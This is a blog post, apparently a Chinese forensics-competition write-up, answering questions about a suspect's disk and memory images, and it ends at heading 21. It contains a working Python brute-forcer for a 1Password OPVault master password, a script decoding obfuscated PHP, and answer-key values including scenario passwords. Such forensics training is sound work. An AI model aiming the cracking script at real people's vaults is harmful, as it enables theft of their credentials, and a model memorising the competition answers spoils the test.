{"id":1428,"date":"2026-05-19T20:10:43","date_gmt":"2026-05-19T12:10:43","guid":{"rendered":"http:\/\/shr1mp.top\/?p=1428"},"modified":"2026-05-27T21:19:29","modified_gmt":"2026-05-27T13:19:29","slug":"%e7%9b%98%e5%8f%a4%e7%9f%b32026-%e8%ae%a1%e7%ae%97%e6%9c%ba%e9%83%a8%e5%88%86%ef%bc%88%e7%ba%af%e6%89%8b%e6%90%93%ef%bc%89","status":"publish","type":"post","link":"https:\/\/shr1mp.top\/index.php\/2026\/05\/19\/%e7%9b%98%e5%8f%a4%e7%9f%b32026-%e8%ae%a1%e7%ae%97%e6%9c%ba%e9%83%a8%e5%88%86%ef%bc%88%e7%ba%af%e6%89%8b%e6%90%93%ef%bc%89\/","title":{"rendered":"\u76d8\u53e4\u77f32026–\u8ba1\u7b97\u673a\u90e8\u5206\uff08\u7eaf\u624b\u6413\uff09"},"content":{"rendered":"\n
\n
\n

\u5218\u6d0b\u7684\u8ba1\u7b97\u673a\uff1a<\/p>\n\n\n\n

\u68c0\u6750\u89e3\u5bc6\uff1aVeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj<\/p>\n\n\n\n

\u7528\u5230\u955c\u50cf\u6587\u4ef6\uff1a<\/p>\n\n\n\n

\u5218\u6d0b\uff1a<\/p>\n\n\n\n

\u6587\u4ef6<\/th>\u7c7b\u578b<\/th>\u7528\u9014<\/th><\/tr><\/thead>
liuyang_pc.E01<\/code><\/td>\u78c1\u76d8\u955c\u50cf\uff08EnCase \u683c\u5f0f\uff09<\/td>\u9759\u6001\u6587\u4ef6\u5206\u6790\u3001\u5df2\u5220\u9664\u6587\u4ef6\u6062\u590d\u3001BitLocker \u52a0\u5bc6\u5377\u7ed3\u6784<\/td><\/tr>
ly-memdump.mem<\/code><\/td>\u5185\u5b58\u955c\u50cf<\/td>\u63d0\u53d6\u8fd0\u884c\u65f6\u5bc6\u94a5\u3001\u7f51\u7edc\u8fde\u63a5\u3001\u8fdb\u7a0b\u6ce8\u5165\u3001\u6076\u610f\u4ee3\u7801\u3001BitLocker VMK<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/blockquote>\n<\/blockquote>\n\n\n\n

\u9ec4\u5fd7\u8fdc\uff1a<\/p>\n\n\n\n

\u4e00\u4e2aPC\u955c\u50cf<\/p>\n\n\n\n

\u788e\u788e\u5ff5<\/h2>\n\n\n\n

\u8fd9\u4e2a\u662f\u600e\u4e48\u505a\u5f97\u5230\u4e00\u4e2aVC\u52a0\u5bc6\u6309\u4e0d\u540c\u65b9\u5f0f\u89e3\u5bc6\u7684\u51fa\u6765\u4e0d\u540c\u7684\u52a0\u5bc6\u6587\u4ef6\u7684\uff01\uff01\uff01\u597d\u795e\u5947\uff0c\u62d3\u5bbd\u89c6\u91ce\u4e86<\/p>\n\n\n\n

\n

\u5176\u5b9e\u8fd9\u4e2a\u8ba1\u7b97\u673a\u96be\u5ea6\u96c6\u4e2d\u5728\u4e86\u4e24\u4e2a\u5730\u65b9\u3002liuyang\u7684E01\u4e3b\u8981\u662f\u96be\u5728VC\u5bc6\u94a5\u6709\u4e24\u79cd\uff0c\u6bcf\u79cd\u89e3\u5f00\u90fd\u662f\u4e0d\u540c\u7684\u4e1c\u897f\uff0chuangzhiyuan\u7684\u5219\u96be\u5728\u627e\u5230\u6e17\u900fRAR\u5e76\u6253\u5f00\uff0c\u8fd9\u4e24\u4e2a\u89e3\u51b3\u4e86\u5176\u4ed6\u7684\u9898\u90fd\u662f\u8bfb\u8bfb\u6570\u636e\u8fd9\u79cd\uff0c\u8fd8\u6709\u8bed\u6587\u6587\u5b57\u9898\uff08T_T\u8bfb\u4e0d\u61c2\u9898\uff09<\/p>\n<\/blockquote>\n\n\n\n

liuyang.E01<\/h2>\n\n\n\n

1<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u63d0\u53d6\u78c1\u76d8\u955c\u50cfSHA1\u503c\u7684\u524d6\u4f4d\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\u5b57\u6bcd\u5c0f\u5199]<\/p>\n\n\n\n

5bc418<\/strong><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

2<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8ba1\u7b97\u673a\u7cfb\u7edfBuild\u7248\u672c\u4e3a\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a19000]<\/p>\n\n\n\n

26100<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

3<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8ba1\u7b97\u673a\u6700\u540e\u4e00\u6b21\u6b63\u5e38\u5173\u673a\u7684\u65f6\u95f4\u4e3a\uff1fUTC+0[\u7b54\u6848\u683c\u5f0f\uff1a2025-05-06-09:00:00]<\/p>\n\n\n\n

2026-04-20-16:25:35<\/strong><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u800c\u6ce8\u610f\u5230\uff1b<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u6240\u4ee5\u65f6\u95f4\u51cf\u53bb8\u5c0f\u65f6<\/p>\n\n\n\n

4<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8ba1\u7b97\u673a\u7f51\u5361\u7684MAC\u5730\u5740\u4e3a\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a00-0B-00-A0-00-00]<\/p>\n\n\n\n

00-50-56-30-26-1C<\/strong><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

5<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u5206\u6790\u673a\u4e3b\u662f\u4ece\u90a3\u91cc\u4e0b\u8f7d\u7684typora\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\u963f\u91cc\u4e91]<\/p>\n\n\n\n

\u84dd\u594f\u4e91<\/strong><\/p>\n\n\n\n

\u5728Chrome\u7684\u4e0b\u8f7d\u8bb0\u5f55\u91cc\u770b\u5230\u8be5\u8f6f\u4ef6<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n

\u867d\u7136\u7f51\u9875\u4e0d\u53ef\u7528\uff0c\u4f46\u662f\u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u84dd\u594f\u4e91<\/strong>\u7684logo<\/p>\n\n\n\n

6<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u5218\u6d0b\u57282026-04-19 13:46:01\uff08UTC +0\uff09\u66fe\u8bbf\u95ee\u8fc7\u767e\u5ea6\u4e91\u76d8\uff0c\u8bf7\u7ed9\u4e91\u76d8\u7684\u6253\u5f00\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a11aa]<\/p>\n\n\n\n

48gy<\/strong><\/p>\n\n\n\n

\u6ce8\u610fUTC +0\uff0c\u6240\u4ee5\u6211\u4eec\u627e\u7684\u65f6\u95f4\u8981\u52a08\uff0c\u65f6\u95f4\u4e0a\u641c\u7d22<\/p>\n\n\n\n

\u95ee\u4e91\u76d8\u5bc6\u7801\uff0c\u5927\u6982\u7387\u90fd\u662f\u5728\u6d4f\u89c8\u5668\u7684\u804a\u5929\u8bb0\u5f55\u91cc<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u5f97\u523048gy<\/p>\n\n\n\n

7<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u5218\u6d0b\u7ba1\u7406pve\u96c6\u7fa4\u6240\u7528\u7684\u7aef\u53e3\u53f7\uff1f[\u7b54\u6848\u683c\u5f0f:8000]<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

8006<\/p>\n\n\n\n

8<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u5218\u6d0b\u767b\u5f55\u7406\u8d22\u7f51\u7ad9\u6240\u4f7f\u7528\u7684\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f:password]<\/p>\n\n\n\n

admin123<\/strong><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u7ffb\u6d4f\u89c8\u5668\u8bb0\u5f55\u53ef\u4ee5\u53d1\u73b0\u4fdd\u5b58\u8fc7\u7684\u5bc6\u7801admin123<\/p>\n\n\n\n

9<\/h3>\n\n\n\n

\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u7406\u8d22\u7f51\u7ad9\u7684IP\u5730\u5740\uff1f[\u7b54\u6848\u683c\u5f0f:127.0.0.1]<\/p>\n\n\n\n

192.168.0.70<\/strong><\/p>\n\n\n\n

\u8fd9\u4e2a\u9898\u6211\u539f\u6765\u7684\u505a\u6cd5\uff1a\u8fd9\u4e2a\u7406\u8d22\u8f6f\u4ef6\u6211\u4eec\u5728\u4e0a\u9053\u9898\u5df2\u7ecf\u77e5\u9053\u4e86URL\uff0c\u5728\u4eff\u771f\u91cc\u9762\u8f93\u5165\u547d\u4ee4\uff0c\u67e5\u770bDNS\u65e5\u5fd7<\/p>\n\n\n\n

nslookup 3w.jlzb.vip<\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u7684\u662f<\/p>\n\n\n\n
C:\\Users\\\u5218\u6d0b>nslookup 3w.jlzb.vip\nDNS request timed out.\n    timeout was 2 seconds.\n\u670d\u52a1\u5668:  UnKnown\nAddress:  192.168.2.1\n\nDNS request timed out.\n    timeout was 2 seconds.\nDNS request timed out.\n    timeout was 2 seconds.\nDNS request timed out.\n    timeout was 2 seconds.\nDNS request timed out.\n    timeout was 2 seconds.\n*** \u8bf7\u6c42 UnKnown \u8d85\u65f6<\/code><\/pre>\n\n\n\n
192.168.2.1<\/code> \u53ea\u662f\u672c\u5730\u8def\u7531\u5668\u7684\u5730\u5740\uff0c\u4e0d\u662f\u76ee\u6807 IP\u3002<\/p>\n\n\n\n
\u6b63\u89e3\uff1a<\/p>\n\n\n\n
\u67e5\u770b\u4e00\u4e0b\u672c\u5730hosts\u6587\u4ef6<\/p>\n\n\n\n
192.168.0.70<\/p>\n\n\n
\n
\"\"\/<\/div>
\u5728\u706b\u773c\u91cc\u9762\u770b<\/figcaption><\/figure>\n<\/div>\n\n
\n
\"\"\/<\/div>
\u5728\u4eff\u771f\u955c\u50cf\u91cc\u9762\u770b<\/figcaption><\/figure>\n<\/div>\n\n\n
\u77e5\u8bc6\u70b9\uff1aC:\\Windows\\System32\\drivers\\etc\\hosts<\/code> \u662f\u672c\u5730\u9759\u6001 DNS \u6620\u5c04\u6587\u4ef6\uff0c\u4f18\u5148\u7ea7\u9ad8\u4e8e\u5916\u90e8 DNS \u67e5\u8be2\u3002<\/strong><\/p>\n\n\n\n
10<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u8ba1\u7b97\u673a\u5185Bitlocker\u52a0\u5bc6\u5206\u533a\u6062\u590d\u5bc6\u94a5\u7684\u524d6\u4f4d\uff1f[\u7b54\u6848\u683c\u5f0f:6\u4f4d\u6570\u5b57]<\/p>\n\n\n\n
560615-577522-342881-216865-242561-312356-584837-421597<\/strong><\/p>\n\n\n\n
\u8fd9\u91cc\u62ff\u5185\u5b58\u955c\u50cf\u7206\u7834Bitlocker\u5bc6\u7801<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u5bc6\u7801 560615-577522-342881-216865-242561-312356-584837-421597<\/p>\n\n\n\n
11<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u627e\u51faVC\u52a0\u5bc6\u5bb9\u5668\u7684\u5bc6\u94a5\u6587\u4ef6\uff0c\u7ed9\u51fa\u8be5\u5bc6\u94a5\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\uff1f[\u7b54\u6848\u683c\u5f0f:D:\\ABC\\123\\\u6d4b\u8bd5.txt]<\/p>\n\n\n\n
D:\\BaiduNetdiskDownload\\\u65e0\u6807\u9898.png<\/strong><\/p>\n\n\n\n
 \u9996\u5148\u4ece12\u9898\u9898\u76ee\u91cc\u9762\u53ef\u4ee5\u731c\u51fa\u8fd9\u4e2a\u6587\u4ef6\u662f\u56fe\u50cf<\/p>\n\n\n\n
\u89e3\u5bc6bitlocker\u7684\u5206\u533a\uff1a<\/p>\n\n\n\n
\u5728D:\\BaiduNetdiskDownload\u770b\u5230\u4e86\u4e00\u4e2a\u65e0\u6807\u9898\u7684PNG<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u518d\u89c2\u5bdf\u5230\u7535\u8111\u81ea\u5e26\u7684\u56fe\u7247\u91cc\u9762\u6709\u4e2a\u4e00\u6a21\u4e00\u6837\u7684<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u731c\u6d4b\u53ef\u80fd\u5b58\u5728\u9690\u5199<\/p>\n\n\n\n
\u653e\u5230\u968f\u6ce2\u9010\u6d41\u91cc\u8fb9\u53d1\u73b0\u679c\u7136\u5b58\u5728\u9ad8\u9690\u5199<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5df2\u7ecf\u660e\u786e\u8bf4\u660e\u4e86VC\u5bb9\u5668\u5bc6\u94a5\u6587\u4ef6<\/p>\n\n\n\n
\u6240\u4ee5\u5f97\u5230\u7b54\u6848\uff1a”D:\\BaiduNetdiskDownload\\\u65e0\u6807\u9898.png”<\/p>\n\n\n\n
12<\/h3>\n\n\n\n
\u63a5\u4e0a\u9898\uff0c\u8be5VC\u52a0\u5bc6\u5bb9\u5668\u7684\u5bc6\u94a5\u6587\u4ef6\u7684\u56fe\u50cf\u9ad8\u5ea6\u662f\u591a\u5c11\u50cf\u7d20\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a1345]<\/p>\n\n\n\n
\u503c\u5f97\u6ce8\u610f\u7684\u662f\u8fd9\u91cc\u95ee\u7684\u56fe\u50cf\u9ad8\u5ea6\u662f\u9ad8\u5ea6\u4fee\u590d\u540e\u7684\u56fe\u50cf\u9ad8\u5ea6\uff0c\u6bd4\u8d5b\u7684\u65f6\u5019\u8fd9\u91cc\u9519\u4e86T_T<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u662f\u7b54\u6848\u662f1080<\/p>\n\n\n\n
13<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u56e2\u961f\u91cd\u8981\u4fe1\u606f\u52a0\u5bc6\u4fdd\u5b58\u7684\u8f6f\u4ef6\u540d\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aabc123]<\/p>\n\n\n\n
1Password<\/strong><\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u518d\u4e0b\u8f7d\u91cc\u9762\u627e\u5230\u4e861password\uff0c\u4f46\u662f\u9700\u8981\u5bc6\u7801<\/p>\n\n\n\n
\u5728\u4e0a\u9762\u7684\u538b\u7f29\u5305\u91cc\u53ef\u4ee5\u627e\u5230\u63d0\u793a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8bf4\u660e\u8fd9\u5c31\u662f\u4e2a\u56e2\u961f\u91cd\u8981\u4fe1\u606f\u52a0\u5bc6\u4fdd\u5b58\u7684\u8f6f\u4ef6<\/p>\n\n\n\n
14<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8be5\u8f6f\u4ef6\u7684\u4fdd\u9669\u5e93\u6587\u4ef6\u540d\u4e3a\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aabc.abc]<\/p>\n\n\n\n
liuyang.opvault<\/code><\/strong><\/p>\n\n\n\n
\u5728\u6587\u6863\u5904\u8fd8\u770b\u5230\u4e86\u4e00\u4e2a1Password\u7684\u6587\u4ef6\u5939\uff0c\u6253\u5f00\u53d1\u73b0\u662f\u8f6f\u4ef6\u7684\u4fdd\u9669\u5e93<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
opvault<\/code> \u662f 1Password \u5bc6\u7801\u7ba1\u7406\u5668<\/strong> \u7684\u672c\u5730\u52a0\u5bc6\u5bc6\u7801\u5e93\u6587\u4ef6\u683c\u5f0f<\/strong>\u3002<\/p>\n\n\n\n
15<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8be5\u8f6f\u4ef6\u7684\u4fdd\u9669\u5e93\u6587\u4ef6\u6253\u5f00\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a124@password]<\/p>\n\n\n\n
liuyang@6419<\/strong><\/p>\n\n\n\n
\u6839\u636e\u538b\u7f29\u5305\u7684\u63d0\u793a\uff0c\u6765\u7206\u7834\u4e00\u4e0b\u5bc6\u7801\uff0c\u5206\u6790liuyang.opvault\u7f16\u5199\u811a\u672c<\/p>\n\n\n\n
import hashlib\nimport hmac\nimport base64\nimport struct\nimport sys\nimport time\nfrom multiprocessing import Pool, cpu_count\n\n# OPVault \u5bc6\u94a5\u53c2\u6570\nSALT = base64.b64decode(\"IeURd51uAYC1eLekU4BwFA==\")\nITERATIONS = 100000\n\n# OPVault \u4e2d\u7684 overviewKey \u548c masterKey\uff08Base64 \u7f16\u7801\uff09\nOVERVIEW_KEY_B64 = \"b3BkYXRhMDEAAAAAAAAAACDcPhy5RqzGti3mEraiflCWM3tkcTXdKYimn0yGOpegf5ECqqovRBauxoeTlU7fCZRy0zmIOuhcHsNnVx8bYs6u+HUJBpgdVJjqAnMLYIHMlbhxNcC+HMJdVmYinkBuM3Gop9N9XxK08K\/mENTbWQfYiBLEj91LgxkCRobA3pKh\"\nMASTER_KEY_B64 = \"b3BkYXRhMDEAAQAAAAAAAGfym+bTedJNHPrsp1DtSrH4iu7nA3lMUHzuq1H49jlwIvSES6b55ZGNZHA0xtyJgifKgDgc82rEOJLNzSg4Xl+qaGCk33\/tJmEZWS6r7Ef+wSErsxNcUYQxVHkaWQtbofQ8vif+46dYXBGfTiT5a\/JEQU2X6bn2Snd5jkOSz62sPQcuHYwJ1lFxLv4WYRWROVKMvVA4b0ByNrjTmfUHrSuPv3JuBNfiLXX69LvVPW8EdznhnZG4BlU1+m3ZCZr2HST9+04JMhFJhj0UmhO07nijbUIvcDxeqJoeznyZ1CC6eocrQlvyv2EIAOMxcMmSuCGY2CMw+MPCdlklnLEdaULfhgEEaNHfWnpFFnVql5P5B1xZOHP80SW9qzmRmzoxQ\/l7tOP7XEGld2vwHQlS+Smrzp2XVDRAi8yDVMH4rmJS\"\n\n# \u89e3\u7801\u5bc6\u94a5\u6570\u636e\noverview_key_raw = base64.b64decode(OVERVIEW_KEY_B64)\noverview_expected_hmac = overview_key_raw[-32:]      # \u6700\u540e 32 \u5b57\u8282\u662f HMAC\noverview_hmac_input = overview_key_raw[:-32]          # \u524d\u9762\u662f HMAC \u8f93\u5165\u6570\u636e\n\nmaster_key_raw = base64.b64decode(MASTER_KEY_B64)\nmaster_expected_hmac = master_key_raw[-32:]\nmaster_hmac_input = master_key_raw[:-32]\n\n\ndef try_password(password):\n    \"\"\"\u5c1d\u8bd5\u5355\u4e2a\u5bc6\u7801\uff0c\u4f7f\u7528 PBKDF2-SHA512 \u6d3e\u751f\u5bc6\u94a5\u5e76\u9a8c\u8bc1 HMAC\"\"\"\n    # PBKDF2 \u6d3e\u751f 64 \u5b57\u8282\u5bc6\u94a5\n    derived = hashlib.pbkdf2_hmac(\n        'sha512', \n        password.encode('utf-8'), \n        SALT, \n        ITERATIONS, \n        dklen=64\n    )\n    \n    # \u540e 32 \u5b57\u8282\u4f5c\u4e3a HMAC \u5bc6\u94a5\n    mac_key = derived[32:64]\n    \n    # \u9a8c\u8bc1 overviewKey \u7684 HMAC\n    computed = hmac.new(mac_key, overview_hmac_input, hashlib.sha256).digest()\n    if hmac.compare_digest(computed, overview_expected_hmac):\n        return password\n    \n    # \u9a8c\u8bc1 masterKey \u7684 HMAC\n    computed2 = hmac.new(mac_key, master_hmac_input, hashlib.sha256).digest()\n    if hmac.compare_digest(computed2, master_expected_hmac):\n        return password\n    \n    return None\n\n\ndef try_batch(start):\n    \"\"\"\u6279\u91cf\u5c1d\u8bd5\u5bc6\u7801\uff1aliuyang@0000 ~ liuyang@9999\"\"\"\n    for i in range(start, min(start + 50, 10000)):\n        password = f\"liuyang@{i:04d}\"\n        result = try_password(password)\n        if result:\n            return result\n    return None\n\n\nif __name__ == '__main__':\n    print(f\"[*] OPVault Brute Force - liuyang@0000 to liuyang@9999\")\n    print(f\"[*] PBKDF2-SHA512, {ITERATIONS} iterations\")\n    print(f\"[*] Using {cpu_count()} CPU cores\")\n    print(f\"[*] Starting...\")\n    \n    start_time = time.time()\n    batches = list(range(0, 10000, 50))\n    \n    with Pool(processes=cpu_count()) as pool:\n        for idx, result in enumerate(pool.imap_unordered(try_batch, batches)):\n            if result:\n                elapsed = time.time() - start_time\n                print(f\"\\n[+] PASSWORD FOUND: {result}\")\n                print(f\"[+] Time elapsed: {elapsed:.1f} seconds\")\n                pool.terminate()\n                sys.exit(0)\n            \n            # \u6bcf\u5904\u7406 20 \u4e2a\u6279\u6b21\u6253\u5370\u8fdb\u5ea6\n            if idx % 20 == 0:\n                elapsed = time.time() - start_time\n                progress = (idx * 50) \/ 10000 * 100\n                print(f\"[*] Progress: {progress:.1f}% ({idx*50}\/10000) - {elapsed:.1f}s\", end='\\r')\n    \n    elapsed = time.time() - start_time\n    print(f\"\\n[-] Password not found in range 0000-9999 ({elapsed:.1f}s)\")<\/code><\/pre>\n\n\n\n
[*] OPVault Brute Force - liuyang@0000 to liuyang@9999\n[*] PBKDF2-SHA512, 100000 iterations\n[*] Using 32 CPU cores\n[*] Starting...\n[*] Progress: 60.0% (6000\/10000) - 48.6s\n[+] PASSWORD FOUND: liuyang@6419\n[+] Time elapsed: 49.8 seconds<\/code><\/pre>\n\n\n\n
\u5f97\u5230\u5bc6\u7801liuyang@6419<\/p>\n\n\n\n
16<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fa\u7528\u6237\u5218\u6d0b\u7684\u5f00\u673a\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f\uff1ap@ssw0rd123]<\/p>\n\n\n\n
6yang@2o26<\/strong><\/p>\n\n\n\n
\u7528\u5bc6\u7801\u6253\u5f00\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u590d\u5236\u51fa\u6765\uff1a6yang@2o26<\/p>\n\n\n\n
17<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u7ed9\u51fapve\u670d\u52a1\u5668\u7684\u7ba1\u7406\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f\uff1ap@ssw0rd123]<\/p>\n\n\n\n
pgscup2o@6<\/strong><\/p>\n\n\n\n
\u5728\u4fdd\u9669\u5e93\u91cc\u9762\u627e\u5230PVE\u7136\u540e\u7f16\u8f91\u6253\u5f00\u53ef\u4ee5\u770b\u5230\u5bc6\u7801<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
18<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u627e\u51fa\u8ba1\u7b97\u673a\u5185\u7684\u811a\u672c\u52a0\u5bc6\u5de5\u5177\uff0c\u7ed9\u51fa\u8be5\u52a0\u5bc6\u5de5\u5177\u7684SHA1\u7684\u524d6\u4f4d\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\u5b57\u6bcd\u5c0f\u5199]<\/p>\n\n\n\n
7860dc<\/strong><\/p>\n\n\n\n
\u5230\u8fd9\u91cc\u5df2\u7ecf\u4e0d\u77e5\u9053\u600e\u4e48\u5f80\u540e\u8d70\u4e86\uff0c\u6240\u4ee5\u5c1d\u8bd5\u7528\u552f\u4e00\u8fd8\u6ca1\u6709\u5f00\u901a\u7684\u8def\uff1aVC\u5bb9\u5668<\/p>\n\n\n\n
\u5728\u56de\u6536\u7ad9\u91cc\u9762\u627e\u5230\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5728\u767e\u5ea6\u7f51\u76d8\u7684\u4e0b\u8f7d\u6587\u4ef6\u5939\u627e\u5230\u52a0\u5bc6\u5bb9\u5668\uff08\u8fd9\u4e2a\u4e1c\u897f\u67093G\uff0c\u5f88\u4e0d\u6b63\u5e38\uff09<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7528VC\u6302\u8f7d\u4e00\u4e0b\uff0c\u628a\u5bc6\u7801 \u2018 8687f7d845649e03d02d4ff1f36ec952 <\/code>‘\uff0cpim2026<\/code>\u5168\u90fd\u6302\u4e0a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\uff1b<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6ca1\u6709\u4e1c\u897f\uff0c\u7528\u4fee\u590d\u8fc7\u9ad8\u7684VC\u5bc6\u94a5+pim2026\u6765\u89e3\u5bc6<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8ba1\u7b97hash\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
19<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8be5\u811a\u672c\u52a0\u5bc6\u5de5\u5177\u5728\u8fdb\u884c\u811a\u672c\u52a0\u5bc6\u65f6\uff0c\u6700\u540e\u4e00\u5c42\u662f\u8fdb\u884c\u4ec0\u4e48\u64cd\u4f5c\uff1f[\u7b54\u6848\u683c\u5f0f:\u5b57\u7b26\u66ff\u6362]<\/p>\n\n\n\n
\u5341\u516d\u8fdb\u5236\u8f6c\u6362<\/strong><\/p>\n\n\n\n
\u6253\u5f00\u811a\u672c\u5c31\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
20<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u8bf7\u89e3\u5bc6\u8be5\u811a\u672c\u52a0\u5bc6\u5de5\u5177\u52a0\u5bc6\u7684\u6587\u4ef6database.php.obf\uff0c\u7ed9\u51fa\u8be5\u6587\u4ef6\u5185\u7684\u6570\u636e\u5e93\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f:p@ssw0rd123]<\/p>\n\n\n\n
pgscup@o26<\/strong><\/p>\n\n\n\n
\u6839\u636e\u52a0\u5bc6\u5199\u51fa\u89e3\u5bc6\uff1a<\/p>\n\n\n\n
#!\/usr\/bin\/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport base64\n\nXOR_KEY = 0x5A\nBASE64_TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/\"\nCUSTOM_TABLE = \"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+\/\"\n\n\ndef xor_decrypt(data):\n    result = []\n    for i, c in enumerate(data):\n        result.append(chr(ord(c) ^ (XOR_KEY + i) % 256))\n    return ''.join(result)\n\n\ndef char_swap_decode(data):\n    trans = str.maketrans(CUSTOM_TABLE, BASE64_TABLE)\n    return data.translate(trans)\n\n\ndef deobfuscate(data):\n    step4 = bytes.fromhex(data).decode('utf-8')\n    step3 = char_swap_decode(step4)\n    step2 = base64.b64decode(step3).decode('utf-8')\n    step1 = xor_decrypt(step2)\n    return step1\n\n\ndef decrypt_file(input_path, output_path):\n    with open(input_path, 'r', encoding='utf-8') as f:\n        content = f.read()\n    deobfuscated = deobfuscate(content)\n    with open(output_path, 'w', encoding='utf-8') as f:\n        f.write(deobfuscated)\n    print(\"[OK] %s -> %s\" % (input_path, output_path))\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 3:\n        print(\"\u7528\u6cd5: python decrypt_tool.py <\u8f93\u5165\u6587\u4ef6> <\u8f93\u51fa\u6587\u4ef6>\")\n        sys.exit(1)\n    decrypt_file(sys.argv[1], sys.argv[2])<\/code><\/pre>\n\n\n\n
\u8fd0\u884c\u5f97\u5230\uff1a<\/p>\n\n\n\n
- \u6587\u4ef6 : C:\\Users\\q1388\\Desktop\\database.php\n- \u6570\u636e\u5e93\u7c7b\u578b : MySQL\n- \u4e3b\u673a : 127.0.0.1:3306\n- \u6570\u636e\u5e93\u540d : jinqin\n- \u7528\u6237\u540d : root\n- \u5bc6\u7801 : pgscup@o26<\/code><\/pre>\n\n\n\n
21<\/h3>\n\n\n\n
